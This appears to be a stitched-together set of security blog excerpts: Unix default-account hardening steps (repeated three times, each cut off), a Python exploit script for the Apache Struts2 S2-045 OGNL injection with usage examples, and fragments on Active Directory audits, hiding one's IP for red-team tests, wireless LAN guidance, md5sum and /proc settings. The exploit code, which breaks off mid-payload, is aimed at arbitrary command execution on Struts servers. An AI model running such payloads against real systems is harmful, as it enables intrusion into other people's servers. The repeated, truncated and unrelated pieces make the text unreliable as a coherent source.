1. Account Management Deletion of Default Accounts (Priority: High) Delete system default accounts and unused accounts. Criteria A. Delete default accounts (lp, uucp, nuucp). B. Delete accounts for resigned, transferred, on-leave, or contract-terminated employees. ※ Both items A and B must be applied. Configuration Method # userdel lp # userdel uucp # userdel nuucp Detailed
1. Account Management 1.1. Default Accounts (Importance: Medium) Overview Verification ■ Command # cat /etc/passwd | egrep “lp:|uucp:|nuucp:” | grep -v “lpd” Configuration ■ Command # userdel lp # userdel uucp # userdel nuucp 1.2. Managing Root Privileges of Regular Accounts (Importance: High) Overview Verification < Distinguishing regular accounts and their directories * Distinguish them
1. Account Management Deleting Default Accounts (Importance: High) Delete system Default accounts and unused accounts Criteria A. Delete Default accounts (lp, uucp, nuucp) B. Delete accounts of employees who have resigned, transferred, taken leave, or had their contracts terminated ※ Both items A and B must be applied. Configuration Method # userdel lp # userdel
(*) Reference: https://github.com/rapid7/metasploit-framework/issues/8064 * usage: $python struts2_S2-045.py <URL> <CMD> $python struts2_S2-045.py http://127.0.0.1:8080/2.3.15.1-showcase/showcase.action “ls -al” [ struts2_S2-045.py – Python Code ] #!/usr/bin/python # -*- coding: utf-8 -*- import urllib2 import httplib def exploit(url, cmd): payload = “%{(#_=’multipart/form-data’).” payload += “(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).” payload += “(#_memberAccess?” payload += “(#_memberAccess=#dm):” payload += “((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).” payload += “(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).” payload += “(#ognlUtil.getExcludedPackageNames().clear()).” payload +=
Active Directory is widely used, regardless of the size of the company or organization, to control access to internal resources.However, there are still very few organizations that perform security assessments tailored to the specific characteristics of Active Directory services.Key focus areas for an Active Directory security assessment include the Domain Controller, Group Policy, user accounts,
## There are many purposes to hide your IP – When Google pulled out of China, there were a lot of Chinese who used public VPNs to bypass blocking– There is a situation where you have to hide your IP inevitably in order to execute Real PT composed of Red Team– It may be used
Financial Sector Wireless LAN Security Guide – Financial Security Institute, 2010.12 Financial Sector Wireless LAN Security Guide-Financial Security Institute, 2010.12 Chapter 1 OverviewSection 1 BackgroundSection 2 PurposeSection 3 Scope Chapter 2 Status of Wireless LAN Services Section 1 Wireless LAN Technical Standards and Status1. Wireless LAN technical standards2. Status of wireless LAN services3. Major national
The md5sum command is used to compute a 128-bit fingerprint that is strongly dependant upon the contents of the file to which it is applied. It can be used to compare against a previously-generated sum to determine whether the file has changed. It is commonly used to ensure the integrity of updated packages distributed by
Several kernel configuration options are available to improve security through the /proc pseudo-filesystem. Quite a few of the files in /proc/sys are directly related to security. Enabled if contains a 1 and disabled if it contains a 0. Many of the options available in /proc/sys/net/ipv4 include: • icmp_echo_ignore_all: Ignore all ICMP ECHO requests. Enabling this
• AutoRPM on Red Hat and apt-get on Debian can be used to download and install any packages on your system for which there are updates. Use care when automatically updating production servers. • IP Masquerading enables a Linux box with multiple interfaces to act as a gateway to remote networks for hosts connected to